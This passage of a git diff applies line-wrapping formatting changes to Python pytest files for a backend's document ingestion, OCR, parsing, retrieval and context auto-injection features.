_patch_llama_backend(monkeypatch, *, binary): from core.inference.llama_cpp import LlamaCppBackend from core.rag import embed_llama_server - monkeypatch.setattr(LlamaCppBackend, "_find_llama_server_binary", staticmethod(lambda: binary)) + monkeypatch.setattr( + LlamaCppBackend, "_find_llama_server_binary", staticmethod(lambda: binary) + ) monkeypatch.setattr(embed_llama_server, "LlamaServerBackend", _SentinelLlamaBackend) @@ -189,7 +191,9 @@ class _BoomOnEncodeModel: def test_st_encode_runtime_failure_switches_to_llama(monkeypatch): # encode() blows up mid-run -> switch to llama-server and stay switched. - monkeypatch.setattr(embeddings, "_get", lambda model_name = None: _BoomOnEncodeModel()) + monkeypatch.setattr( + embeddings, "_get", lambda model_name = None: _BoomOnEncodeModel() + ) _patch_llama_backend(monkeypatch, binary = "/fake/llama-server") calls = {} @@ -203,7 +207,9 @@ def test_st_encode_runtime_failure_switches_to_llama(monkeypatch): calls["used"] = True return np.zeros((len(texts), 4), dtype = np.float32) - monkeypatch.setattr(_SentinelLlamaBackend, "encode", _sentinel_encode, raising = False) + monkeypatch.setattr( + _SentinelLlamaBackend, "encode", _sentinel_encode, raising = False + ) embeddings._reset_backend() out = embeddings.encode(["alpha", "beta"]) @@ -215,7 +221,9 @@ def test_st_encode_runtime_failure_switches_to_llama(monkeypatch): def test_st_encode_failure_without_llama_binary_reraises(monkeypatch): # No llama-server binary -> surface the encode error. - monkeypatch.setattr(embeddings, "_get", lambda model_name = None: _BoomOnEncodeModel()) + monkeypatch.setattr( + embeddings, "_get", lambda model_name = None: _BoomOnEncodeModel() + ) _patch_llama_backend(monkeypatch, binary = None) embeddings._reset_backend() with pytest.raises(RuntimeError, match = "CUDA error during encode"): diff --git a/studio/backend/tests/test_rag_ingestion.py b/studio/backend/tests/test_rag_ingestion.py index 7e9e803687..35aa3671c8 100644 --- a/studio/backend/tests/test_rag_ingestion.py +++ b/studio/backend/tests/test_rag_ingestion.py @@ -39,7 +39,11 @@ def test_ingestion_lifecycle_pending_to_completed(rag_home, stub_embeddings, tmp conn = rag_db.get_connection() try: - assert store.get_document(conn, doc_id)["status"] in {"pending", "running", "completed"} + assert store.get_document(conn, doc_id)["status"] in { + "pending", + "running", + "completed", + } finally: conn.close() @@ -83,7 +87,9 @@ def test_ingestion_dedupe_by_hash(rag_home, stub_embeddings, tmp_path): conn.close() -def test_ingestion_reingests_when_existing_has_zero_chunks(rag_home, stub_embeddings, tmp_path): +def test_ingestion_reingests_when_existing_has_zero_chunks( + rag_home, stub_embeddings, tmp_path +): # A prior ingest of identical bytes that yielded no chunks (e.g. a scanned PDF # before a vision model loaded) must re-ingest, not dedupe to the empty record. path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50) @@ -91,7 +97,9 @@ def test_ingestion_reingests_when_existing_has_zero_chunks(rag_home, stub_embedd scope = store.kb_scope("K1") conn = rag_db.get_connection() try: - empty_id = store.create_document(conn, scope = scope, filename = "old.txt", sha256 = sha) + empty_id = store.create_document( + conn, scope = scope, filename = "old.txt", sha256 = sha + ) store.set_document_status(conn, empty_id, "completed", num_chunks = 0) finally: conn.close() @@ -296,7 +304,9 @@ def test_ingestion_rejects_unsupported_ext(rag_home, stub_embeddings, tmp_path): ingestion.start_ingestion(store.kb_scope("K1"), "K1", None, "doc.xyz", path) -def test_ingestion_empty_doc_completes_with_zero_chunks(rag_home, stub_embeddings, tmp_path): +def test_ingestion_empty_doc_completes_with_zero_chunks( + rag_home, stub_embeddings, tmp_path +): path = _write(tmp_path, "empty.txt", " \n ") scope = store.kb_scope("K1") doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "empty.txt", path) @@ -312,7 +322,9 @@ def test_ingestion_empty_doc_completes_with_zero_chunks(rag_home, stub_embedding reason = "set RAG_REAL_EMBEDDER=1 to run the real sentence-transformers test", ) def test_ingestion_with_real_embedder(rag_home, tmp_path): - path = _write(tmp_path, "doc.txt", "The Kestrel-9 turbine is rated at 9.5 megawatts.") + path = _write( + tmp_path, "doc.txt", "The Kestrel-9 turbine is rated at 9.5 megawatts." + ) scope = store.kb_scope("K1") doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path) _drain(job_id) @@ -323,7 +335,9 @@ def test_ingestion_with_real_embedder(rag_home, tmp_path): conn = rag_db.get_connection() try: - hits = retrieval.retrieve_hybrid(conn, scope, "how much power does the turbine make?", k = 5) + hits = retrieval.retrieve_hybrid( + conn, scope, "how much power does the turbine make?", k = 5 + ) assert hits and hits[0].chunk_id == f"{doc_id}:0" finally: conn.close() diff --git a/studio/backend/tests/test_rag_job_events_queue_lifecycle.py b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py index 0eb115c562..e21ea93fe5 100644 --- a/studio/backend/tests/test_rag_job_events_queue_lifecycle.py +++ b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py @@ -93,9 +93,13 @@ def test_transient_status_read_failure_does_not_end_stream(monkeypatch): ing._jobs[jid] = queue.Queue() try: gen = ing.job_events(jid) - assert next(gen) == {"type": "heartbeat"} # transient error -> heartbeat, no raise + assert next(gen) == { + "type": "heartbeat" + } # transient error -> heartbeat, no raise gen.close() - assert jid in ing._jobs, "an unconfirmed (transient-error) status must keep the queue" + assert ( + jid in ing._jobs + ), "an unconfirmed (transient-error) status must keep the queue" finally: ing._jobs.pop(jid, None) diff --git a/studio/backend/tests/test_rag_loopback_trust_env.py b/studio/backend/tests/test_rag_loopback_trust_env.py index 1945e09982..4f60c607f2 100644 --- a/studio/backend/tests/test_rag_loopback_trust_env.py +++ b/studio/backend/tests/test_rag_loopback_trust_env.py @@ -4,7 +4,9 @@ package (all target the local 127.0.0.1 llama-server) must set trust_env=False." import ast import os -RAG_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag") +RAG_DIR = os.path.join( + os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "core", "rag" +) HTTPX_CALLEES = {"get", "post", "stream", "request", "Client", "AsyncClient"} @@ -28,7 +30,11 @@ def _httpx_calls(path): def _sets_trust_env_false(call): for kw in call.keywords: - if kw.arg == "trust_env" and isinstance(kw.value, ast.Constant) and kw.value.value is False: + if ( + kw.arg == "trust_env" + and isinstance(kw.value, ast.Constant) + and kw.value.value is False + ): return True return False diff --git a/studio/backend/tests/test_rag_ocr_fallback.py b/studio/backend/tests/test_rag_ocr_fallback.py index c7be1fe60b..654eb909b3 100644 --- a/studio/backend/tests/test_rag_ocr_fallback.py +++ b/studio/backend/tests/test_rag_ocr_fallback.py @@ -128,7 +128,9 @@ def test_ocr_scanned_pages_merges_short_text_layer(rag_conn, monkeypatch): # Near-empty pages can still have meaningful extractable text; OCR augments it # rather than replacing it with a fallible vision transcription. scope = store.thread_scope("t1") - document_id = store.create_document(rag_conn, scope = scope, filename = "scan.pdf", sha256 = "h") + document_id = store.create_document( + rag_conn, scope = scope, filename = "scan.pdf", sha256 = "h" + ) job_id = ingestion._new_job(rag_conn, document_id, scope) pages = [parsers.Page("ID-42", 1, 5)] @@ -146,11 +148,15 @@ def test_ocr_scanned_pages_merges_short_text_layer(rag_conn, monkeypatch): # ── end-to-end ingestion ───────────────────────────────────────────── -def test_scanned_pdf_is_ocred_into_chunks(rag_conn, stub_embeddings, monkeypatch, tmp_path): +def test_scanned_pdf_is_ocred_into_chunks( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local")) monkeypatch.setattr( - captioner, "_ocr_one", lambda base, model, b, t: "Invoice total is zebra-42 due Friday" + captioner, + "_ocr_one", + lambda base, model, b, t: "Invoice total is zebra-42 due Friday", ) pdf = tmp_path / "scan.pdf" @@ -184,13 +190,17 @@ def test_scanned_page_past_ocr_cap_is_still_captioned( assert doc["status"] == "completed" text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) assert "scanned page alpha" in text # page 1 OCR'd, within the cap - assert "figure caption bravo" in text # page 2 past the cap -> captioned, not dropped + assert ( + "figure caption bravo" in text + ) # page 2 past the cap -> captioned, not dropped def test_born_digital_pdf_skips_ocr(rag_conn, stub_embeddings, monkeypatch, tmp_path): called = [] monkeypatch.setattr(captioner.config, "OCR_SCANNED", True) - monkeypatch.setattr(captioner, "_ocr_one", lambda *a: called.append(1) or "should not run") + monkeypatch.setattr( + captioner, "_ocr_one", lambda *a: called.append(1) or "should not run" + ) pdf = tmp_path / "digital.pdf" _text_pdf(pdf, "Real born digital body text. " * 30 + "marker-quokka") @@ -246,7 +256,9 @@ def test_ocr_override_true_runs_ocr_when_config_off( assert "quokka" in text -def test_ocr_disabled_leaves_scanned_pdf_empty(rag_conn, stub_embeddings, monkeypatch, tmp_path): +def test_ocr_disabled_leaves_scanned_pdf_empty( + rag_conn, stub_embeddings, monkeypatch, tmp_path +): monkeypatch.setattr(captioner.config, "OCR_SCANNED", False) pdf = tmp_path / "scan.pdf" diff --git a/studio/backend/tests/test_rag_parsing.py b/studio/backend/tests/test_rag_parsing.py index 3e259f6bd0..af63e1e259 100644 --- a/studio/backend/tests/test_rag_parsing.py +++ b/studio/backend/tests/test_rag_parsing.py @@ -16,7 +16,11 @@ def _table_pdf(path): doc = pymupdf.open() page = doc.new_page() page.insert_textbox(pymupdf.Rect(40, 40, 550, 70), "Quarterly Results", fontsize = 16) - rows = [("Quarter", "Revenue", "Growth"), ("Q1", "$1.2M", "12%"), ("Q2", "$1.5M", "25%")] + rows = [ + ("Quarter", "Revenue", "Growth"), + ("Q1", "$1.2M", "12%"), + ("Q2", "$1.5M", "25%"), + ] y = 90 for r in rows: page.insert_textbox(pymupdf.Rect(40, y, 250, y + 20), r[0], fontsize = 11) @@ -51,7 +55,9 @@ def test_pdf_markdown_off_uses_plain_text(tmp_path, monkeypatch): _table_pdf(pdf) text = "\n".join(p.text for p in parsers.parse(str(pdf))) assert "Q2" in text and "$1.5M" in text - assert "#" not in text and "|" not in text # plain text path emits no Markdown markup + assert ( + "#" not in text and "|" not in text + ) # plain text path emits no Markdown markup def test_pdf_bytes_use_same_extraction_path(tmp_path, monkeypatch): @@ -173,7 +179,9 @@ def test_pdf_markdown_incomplete_falls_back_to_plain(tmp_path, monkeypatch): pdf = tmp_path / "long.pdf" _long_text_pdf(pdf) text = "\n".join(p.text for p in parsers.parse(str(pdf))) - assert "quick brown fox" in text # fuller raw layer used, not the near-empty Markdown + assert ( + "quick brown fox" in text + ) # fuller raw layer used, not the near-empty Markdown def _docx_with_table(path): @@ -252,7 +260,9 @@ def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path): text = "\n".join(p.text for p in parsers.parse(str(path))) assert text.count("WIDE") == 1 # merged cell not duplicated across spanned columns - assert "WIDE | | END" in text # placeholder keeps 3 fields, aligned with "a | b | c" + assert ( + "WIDE | | END" in text + ) # placeholder keeps 3 fields, aligned with "a | b | c" assert "a | b | c" in text diff --git a/studio/backend/tests/test_rag_preview.py b/studio/backend/tests/test_rag_preview.py index 0ff27897bd..671d5e358c 100644 --- a/studio/backend/tests/test_rag_preview.py +++ b/studio/backend/tests/test_rag_preview.py @@ -112,7 +112,9 @@ def test_preview_routes_and_signed_file(rag_home, stub_embeddings): assert res chunk_id = res[0]["chunkId"] - pt = c.get(f"/api/rag/documents/{doc_id}/preview-target", params = {"chunk_id": chunk_id}).json() + pt = c.get( + f"/api/rag/documents/{doc_id}/preview-target", params = {"chunk_id": chunk_id} + ).json() assert pt["mediaKind"] == "pdf" assert pt["text"] @@ -148,7 +150,9 @@ def test_locator_handles_midword_anchor_and_locates_line(): doc = pymupdf.open() page = doc.new_page() - page.insert_text((72, 200), "alpha beta gamma delta epsilon zeta eta theta", fontsize = 12) + page.insert_text( + (72, 200), "alpha beta gamma delta epsilon zeta eta theta", fontsize = 12 + ) page_text = doc[0].get_text("text") # mirrors what the parser stores start = page_text.index("lpha") end = page_text.index("theta") + 3 @@ -174,7 +178,9 @@ def test_locator_anchors_through_markdown_table_pipes(): doc = pymupdf.open() page = doc.new_page() - page.insert_text((72, 200), "Quarter Revenue Growth Q1 sales strong here", fontsize = 12) + page.insert_text( + (72, 200), "Quarter Revenue Growth Q1 sales strong here", fontsize = 12 + ) # What the Markdown parser stores for the row (cells joined by pipes, no spaces). page_text = "|Quarter|Revenue|Growth|Q1|sales|strong|here|" match = LocatorMatch(page_index = 0, page_number = 1, start = 0, end = len(page_text)) @@ -189,5 +195,7 @@ def test_sign_verify_roundtrip(rag_home): tok = rag_routes._sign_document("doc-123") assert rag_routes._verify_document_token(tok) == "doc-123" - assert rag_routes._verify_document_token("doc-123.0.deadbeef") is None # expired/bad + assert ( + rag_routes._verify_document_token("doc-123.0.deadbeef") is None + ) # expired/bad assert rag_routes._verify_document_token("garbage") is None diff --git a/studio/backend/tests/test_rag_reconcile_orphaned.py b/studio/backend/tests/test_rag_reconcile_orphaned.py index c6932e4588..f6007bffff 100644 --- a/studio/backend/tests/test_rag_reconcile_orphaned.py +++ b/studio/backend/tests/test_rag_reconcile_orphaned.py @@ -43,7 +43,11 @@ def _add_doc(conn, scope, doc_id, status, texts): conn, scope = scope, filename = f"{doc_id}.txt", sha256 = doc_id, document_id = doc_id ) store.add_chunks( - conn, scope, doc_id, [_chunk(t, i) for i, t in enumerate(texts)], [_embed(t) for t in texts] + conn, + scope, + doc_id, + [_chunk(t, i) for i, t in enumerate(texts)], + [_embed(t) for t in texts], ) store.set_document_status(conn, doc_id, status, num_chunks = len(texts)) @@ -63,7 +67,9 @@ def _orphan_job( def _chunk_count(conn, doc_id): - return conn.execute("SELECT COUNT(*) FROM chunks WHERE document_id=?", (doc_id,)).fetchone()[0] + return conn.execute( + "SELECT COUNT(*) FROM chunks WHERE document_id=?", (doc_id,) + ).fetchone()[0] def _job_status(conn, doc_id): diff --git a/studio/backend/tests/test_rag_retrieval.py b/studio/backend/tests/test_rag_retrieval.py index 69d9e90871..6cad207bb5 100644 --- a/studio/backend/tests/test_rag_retrieval.py +++ b/studio/backend/tests/test_rag_retrieval.py @@ -57,7 +57,9 @@ def _add_doc( text, page = None, ): - store.create_document(conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id) + store.create_document( + conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id + ) store.add_chunks(conn, scope, doc_id, [_chunk(text, 0, page)], [_embed(text)]) @@ -150,7 +152,9 @@ def test_tool_formats_chunks_and_sources(rag_conn, bow_embeddings, monkeypatch): def test_tool_kb_scope_retrieves_from_db(rag_conn, bow_embeddings): # End-to-end (no retrieve stub): doc found via its scope_kb_id (#8). _add_doc(rag_conn, "kb_K", "d1", "kb.pdf", "h1", "alpha bravo charlie", page = 1) - text, sources = tool.search_knowledge_base_with_sources(query = "alpha bravo", scope_kb_id = "K") + text, sources = tool.search_knowledge_base_with_sources( + query = "alpha bravo", scope_kb_id = "K" + ) assert "No matching chunks" not in text assert sources and sources[0]["chunkId"] == "d1:0" assert sources[0]["filename"] == "kb.pdf" @@ -192,11 +196,15 @@ def test_dispatcher_no_sentinel_when_no_hits(rag_home, monkeypatch): assert tools.RAG_SOURCES_SENTINEL not in out -def test_search_for_autoinject_gates_on_dense_score(rag_conn, bow_embeddings, monkeypatch): +def test_search_for_autoinject_gates_on_dense_score( + rag_conn, bow_embeddings, monkeypatch +): _add_doc(rag_conn, "kb_a", "d1", "paper.pdf", "h1", "body text here", page = 3) def _hits(score, **kw): - return lambda conn, scope, q, **k: [retrieval.Hit("d1:0", 1.0, **{kw["key"]: score})] + return lambda conn, scope, q, **k: [ + retrieval.Hit("d1:0", 1.0, **{kw["key"]: score}) + ] # Strong dense hit -> injected. monkeypatch.setattr(retrieval, "retrieve_hybrid", _hits(0.8, key = "dense_score")) @@ -207,14 +215,22 @@ def test_search_for_autoinject_gates_on_dense_score(rag_conn, bow_embeddings, mo # Dense below floor -> nothing injected. monkeypatch.setattr(retrieval, "retrieve_hybrid", _hits(0.30, key = "dense_score")) - assert tool.search_for_autoinject(query = "q", scope_kb_id = "a", min_dense_score = 0.55) is None + assert ( + tool.search_for_autoinject(query = "q", scope_kb_id = "a", min_dense_score = 0.55) + is None + ) # Lexical-only hit (no dense score) does not auto-inject. monkeypatch.setattr(retrieval, "retrieve_hybrid", _hits(1.0, key = "lexical_score")) - assert tool.search_for_autoinject(query = "q", scope_kb_id = "a", min_dense_score = 0.55) is None + assert ( + tool.search_for_autoinject(query = "q", scope_kb_id = "a", min_dense_score = 0.55) + is None + ) -def test_search_for_autoinject_bm25_gates_on_dense_probe(rag_conn, bow_embeddings, monkeypatch): +def test_search_for_autoinject_bm25_gates_on_dense_probe( + rag_conn, bow_embeddings, monkeypatch +): # BM25 hits carry no cosine, so the gate uses a dense 1-NN probe (#5). _add_doc(rag_conn, "kb_a", "d1", "paper.pdf", "h1", "body text here", page = 3) monkeypatch.setattr( @@ -226,7 +242,9 @@ def test_search_for_autoinject_bm25_gates_on_dense_probe(rag_conn, bow_embedding monkeypatch.setattr( retrieval, "retrieve_dense", - lambda conn, scope, q, k = None, **kw: [retrieval.Hit("d1:0", 0.82, dense_score = 0.82)], + lambda conn, scope, q, k = None, **kw: [ + retrieval.Hit("d1:0", 0.82, dense_score = 0.82) + ], ) found = tool.search_for_autoinject( query = "q", scope_kb_id = "a", mode = "lexical", min_dense_score = 0.70 @@ -236,10 +254,14 @@ def test_search_for_autoinject_bm25_gates_on_dense_probe(rag_conn, bow_embedding monkeypatch.setattr( retrieval, "retrieve_dense", - lambda conn, scope, q, k = None, **kw: [retrieval.Hit("d1:0", 0.40, dense_score = 0.40)], + lambda conn, scope, q, k = None, **kw: [ + retrieval.Hit("d1:0", 0.40, dense_score = 0.40) + ], ) assert ( - tool.search_for_autoinject(query = "q", scope_kb_id = "a", mode = "lexical", min_dense_score = 0.70) + tool.search_for_autoinject( + query = "q", scope_kb_id = "a", mode = "lexical", min_dense_score = 0.70 + ) is None ) @@ -271,7 +293,10 @@ def test_build_rag_autoinject_emits_pipeline(monkeypatch): te = next(e for e in out["events"] if e["type"] == "tool_end") assert te["tool_name"] == "search_knowledge_base" assert tools.RAG_SOURCES_SENTINEL in te["result"] - assert out["messages"][0]["tool_calls"][0]["function"]["name"] == "search_knowledge_base" + assert ( + out["messages"][0]["tool_calls"][0]["function"]["name"] + == "search_knowledge_base" + ) assert "__RAG_SOURCES__" not in out["messages"][1]["content"] @@ -282,7 +307,10 @@ def test_build_rag_autoinject_skips_without_hit(monkeypatch): monkeypatch.setattr(rag_db, "RAG_AVAILABLE", True, raising = False) monkeypatch.setattr(tool, "search_for_autoinject", lambda **k: None) assert ( - tools.build_rag_autoinject([{"role": "user", "content": "hi"}], {"thread_id": "t1"}) is None + tools.build_rag_autoinject( + [{"role": "user", "content": "hi"}], {"thread_id": "t1"} + ) + is None ) @@ -300,7 +328,9 @@ def test_build_rag_autoinject_enabled_by_default(monkeypatch): return ("x", [{"citationId": 1}]) monkeypatch.setattr(tool, "search_for_autoinject", fake) - out = tools.build_rag_autoinject([{"role": "user", "content": "hi"}], {"thread_id": "t1"}) + out = tools.build_rag_autoinject( + [{"role": "user", "content": "hi"}], {"thread_id": "t1"} + ) assert out is not None assert seen["min_dense_score"] == 0.70 # high-precision floor by default @@ -331,7 +361,10 @@ def test_build_rag_autoinject_disabled_by_env(monkeypatch): monkeypatch.setenv("RAG_AUTOINJECT", "0") assert ( - tools.build_rag_autoinject([{"role": "user", "content": "hi"}], {"thread_id": "t1"}) is None + tools.build_rag_autoinject( + [{"role": "user", "content": "hi"}], {"thread_id": "t1"} + ) + is None ) # No scope -> also a no-op. monkeypatch.delenv("RAG_AUTOINJECT", raising = False) @@ -429,4 +462,7 @@ def test_build_rag_autoinject_scope_overrides_env(monkeypatch): # Explicit False disables even with the env default on. monkeypatch.setenv("RAG_AUTOINJECT", "1") - assert tools.build_rag_autoinject(conv, {"thread_id": "t1", "autoinject": False}) is None + assert ( + tools.build_rag_autoinject(conv, {"thread_id": "t1", "autoinject": False}) + is None + ) diff --git a/studio/backend/tests/test_rag_store.py b/studio/backend/tests/test_rag_store.py index 4c54b02ea7..5d216af228 100644 --- a/studio/backend/tests/test_rag_store.py +++ b/studio/backend/tests/test_rag_store.py @@ -36,7 +36,9 @@ def _chunk( def _add_doc(conn, scope, doc_id, filename, sha, texts): chunks = [_chunk(t, i) for i, t in enumerate(texts)] vectors = [embed(t) for t in texts] - store.create_document(conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id) + store.create_document( + conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id + ) store.add_chunks(conn, scope, doc_id, chunks, vectors) @@ -50,7 +52,9 @@ def test_lexical_returns_only_matching_docs(rag_conn): def test_scope_isolation(rag_conn): _add_doc(rag_conn, "kb_a", "d1", "f", "h1", ["alpha bravo"]) _add_doc(rag_conn, "kb_b", "d2", "f", "h2", ["alpha bravo"]) - assert [cid for cid, _ in store.search_lexical(rag_conn, "kb_b", "alpha", 10)] == ["d2:0"] + assert [cid for cid, _ in store.search_lexical(rag_conn, "kb_b", "alpha", 10)] == [ + "d2:0" + ] def test_match_query_sanitizes_special_chars(): @@ -100,7 +104,9 @@ def test_incremental_add_is_flat(rag_conn): after = rag_conn.execute( "SELECT rowid, chunk_id FROM chunks_fts WHERE scope='kb_a' AND chunk_id LIKE 'd1:%'" ).fetchall() - before_d1 = [(r["rowid"], r["chunk_id"]) for r in before if r["chunk_id"].startswith("d1:")] + before_d1 = [ + (r["rowid"], r["chunk_id"]) for r in before if r["chunk_id"].startswith("d1:") + ] after_d1 = [(r["rowid"], r["chunk_id"]) for r in after] assert before_d1 == after_d1 diff --git a/studio/backend/tests/test_rag_whole_document.py b/studio/backend/tests/test_rag_whole_document.py index 545d731fd2..e8738a5967 100644 --- a/studio/backend/tests/test_rag_whole_document.py +++ b/studio/backend/tests/test_rag_whole_document.py @@ -56,7 +56,9 @@ def _add_doc( for i, t in enumerate(texts) ] vectors = [list(_VEC) for _ in texts] - store.create_document(conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id) + store.create_document( + conn, scope = scope, filename = filename, sha256 = sha, document_id = doc_id + ) store.add_chunks(conn, scope, doc_id, chunks, vectors) store.set_document_status(conn, doc_id, status, num_chunks = len(texts)) @@ -109,7 +111,9 @@ def test_scope_token_estimate_sums_without_hydrating(rag_conn): _add_doc(rag_conn, scope, "d1", "a.pdf", "h1", ["alpha", "bravo"], tokens = [10, 20]) # token_count 0 -> length/4 fallback: a 40-char chunk estimates to 10 tokens. _add_doc(rag_conn, scope, "d2", "b.pdf", "h2", ["x" * 40], tokens = [0]) - _add_doc(rag_conn, scope, "d3", "c.pdf", "h3", ["pending"], status = "pending", tokens = [99]) + _add_doc( + rag_conn, scope, "d3", "c.pdf", "h3", ["pending"], status = "pending", tokens = [99] + ) assert store.scope_token_estimate(rag_conn, scope) == 10 + 20 + 10 assert store.scope_token_estimate(rag_conn, store.thread_scope("none")) == 0 @@ -121,10 +125,18 @@ def test_scope_token_estimate_matches_row_sum(rag_conn): scope = store.thread_scope("t1") _add_doc( - rag_conn, scope, "d1", "a.pdf", "h1", ["a long-ish chunk body here", "tail"], tokens = [0, 5] + rag_conn, + scope, + "d1", + "a.pdf", + "h1", + ["a long-ish chunk body here", "tail"], + tokens = [0, 5], ) rows = store.all_chunks_for_scope(rag_conn, scope) - assert store.scope_token_estimate(rag_conn, scope) == sum(_row_token_count(r) for r in rows) + assert store.scope_token_estimate(rag_conn, scope) == sum( + _row_token_count(r) for r in rows + ) # ── tool.whole_document_context ────────────────────────────────────── @@ -163,7 +175,10 @@ def test_whole_document_context_none_over_budget(rag_conn): _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["huge"], tokens = [50_000]) assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None # Same doc fits under a larger budget. - assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 100_000) is not None + assert ( + tool.whole_document_context(scope_thread_id = "t1", max_tokens = 100_000) + is not None + ) def test_whole_document_context_none_when_empty(rag_conn): @@ -187,9 +202,14 @@ def test_whole_document_context_none_without_scope(rag_conn): def test_whole_document_context_null_token_count_enforces_budget(rag_conn): # A missing token_count must not bypass the budget; fall back to a length estimate. big = "word " * 20_000 # ~20k tokens by length estimate - _add_doc(rag_conn, store.thread_scope("t1"), "d1", "big.pdf", "h1", [big], tokens = [None]) + _add_doc( + rag_conn, store.thread_scope("t1"), "d1", "big.pdf", "h1", [big], tokens = [None] + ) assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000) is None - assert tool.whole_document_context(scope_thread_id = "t1", max_tokens = 1_000_000) is not None + assert ( + tool.whole_document_context(scope_thread_id = "t1", max_tokens = 1_000_000) + is not None + ) def test_whole_document_context_spans_multiple_docs(rag_conn): @@ -210,7 +230,9 @@ def _convo(text = "summarize the whole document"): def test_build_rag_autoinject_uses_whole_doc(rag_conn): scope = store.thread_scope("t1") - _add_doc(rag_conn, scope, "d1", "doc.pdf", "h1", ["whole alpha part", "whole bravo part"]) + _add_doc( + rag_conn, scope, "d1", "doc.pdf", "h1", ["whole alpha part", "whole bravo part"] + ) result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"}) assert result is not None injected = _injected_text(result) @@ -221,16 +243,22 @@ def test_build_rag_autoinject_uses_whole_doc(rag_conn): assert inf_tools.RAG_SOURCES_SENTINEL not in injected -def test_build_rag_autoinject_whole_doc_runs_when_autoinject_false(rag_conn, monkeypatch): +def test_build_rag_autoinject_whole_doc_runs_when_autoinject_false( + rag_conn, monkeypatch +): # Large-model Auto sets autoinject=False, but whole-doc is a separate thread-doc # context mode and should still inject a fitting attachment. - _add_doc(rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["entire file body"]) + _add_doc( + rag_conn, store.thread_scope("t1"), "d1", "doc.pdf", "h1", ["entire file body"] + ) monkeypatch.setattr( tool, "search_for_autoinject", lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")), ) - result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False}) + result = inf_tools.build_rag_autoinject( + _convo(), {"thread_id": "t1", "autoinject": False} + ) assert result is not None assert "entire file body" in _injected_text(result) @@ -255,7 +283,10 @@ def test_build_rag_autoinject_falls_back_over_budget(rag_conn, monkeypatch): scope = store.thread_scope("t1") _add_doc(rag_conn, scope, "d1", "big.pdf", "h1", ["overflow"], tokens = [50_000]) - sentinel = ("TOPK_FALLBACK_TEXT", [{"citationId": 1, "filename": "big.pdf", "text": "x"}]) + sentinel = ( + "TOPK_FALLBACK_TEXT", + [{"citationId": 1, "filename": "big.pdf", "text": "x"}], + ) monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1"}) @@ -267,9 +298,18 @@ def test_build_rag_autoinject_context_budget_falls_back(rag_conn, monkeypatch): # Runtime context can be smaller than RAG_WHOLE_DOC_MAX_TOKENS; cap whole-doc to # the active context and fall back to retrieval when it would overflow. _add_doc( - rag_conn, store.thread_scope("t1"), "d1", "small.pdf", "h1", ["fits global"], tokens = [900] + rag_conn, + store.thread_scope("t1"), + "d1", + "small.pdf", + "h1", + ["fits global"], + tokens = [900], + ) + sentinel = ( + "TOPK_CONTEXT_FALLBACK", + [{"citationId": 1, "filename": "small.pdf", "text": "x"}], ) - sentinel = ("TOPK_CONTEXT_FALLBACK", [{"citationId": 1, "filename": "small.pdf", "text": "x"}]) monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) result = inf_tools.build_rag_autoinject( _convo(), {"thread_id": "t1", "context_length": 1200, "whole_doc": True} @@ -289,7 +329,10 @@ def test_whole_doc_budget_reserves_image_parts(monkeypatch): "role": "user", "content": [ {"type": "text", "text": "summarize"}, - {"type": "image_url", "image_url": {"url": "data:image/png;base64,abc"}}, + { + "type": "image_url", + "image_url": {"url": "data:image/png;base64,abc"}, + }, ], } ] @@ -301,7 +344,9 @@ def test_whole_doc_budget_reserves_image_parts(monkeypatch): ) -def test_build_rag_autoinject_server_kill_switch_blocks_whole_doc(rag_conn, monkeypatch): +def test_build_rag_autoinject_server_kill_switch_blocks_whole_doc( + rag_conn, monkeypatch +): # RAG_THREAD_WHOLE_DOC=0 stays authoritative; browser requests should not # turn it back on by default. from core.rag import config @@ -314,7 +359,10 @@ def test_build_rag_autoinject_server_kill_switch_blocks_whole_doc(rag_conn, monk lambda **kw: (_ for _ in ()).throw(AssertionError("retrieval should not run")), ) assert ( - inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "autoinject": False}) is None + inf_tools.build_rag_autoinject( + _convo(), {"thread_id": "t1", "autoinject": False} + ) + is None ) @@ -342,7 +390,9 @@ def test_build_rag_autoinject_whole_doc_disabled_via_override(rag_conn, monkeypa monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: sentinel) # whole_doc=False forces retrieval even though the doc fits. - result = inf_tools.build_rag_autoinject(_convo(), {"thread_id": "t1", "whole_doc": False}) + result = inf_tools.build_rag_autoinject( + _convo(), {"thread_id": "t1", "whole_doc": False} + ) assert result is not None assert _injected_text(result) == "TOPK_TEXT" @@ -352,7 +402,10 @@ def test_build_rag_autoinject_kb_scope_never_whole_doc(rag_conn, monkeypatch): kb_scope = store.kb_scope("K1") _add_doc(rag_conn, kb_scope, "d1", "kb.pdf", "h1", ["kb body one", "kb body two"]) - sentinel = ("KB_RETRIEVAL_TEXT", [{"citationId": 1, "filename": "kb.pdf", "text": "x"}]) + sentinel = ( + "KB_RETRIEVAL_TEXT", + [{"citationId": 1, "filename": "kb.pdf", "text": "x"}], + ) monkeypatch.setattr(tool, "search_for_autoinject", lambda **kw: 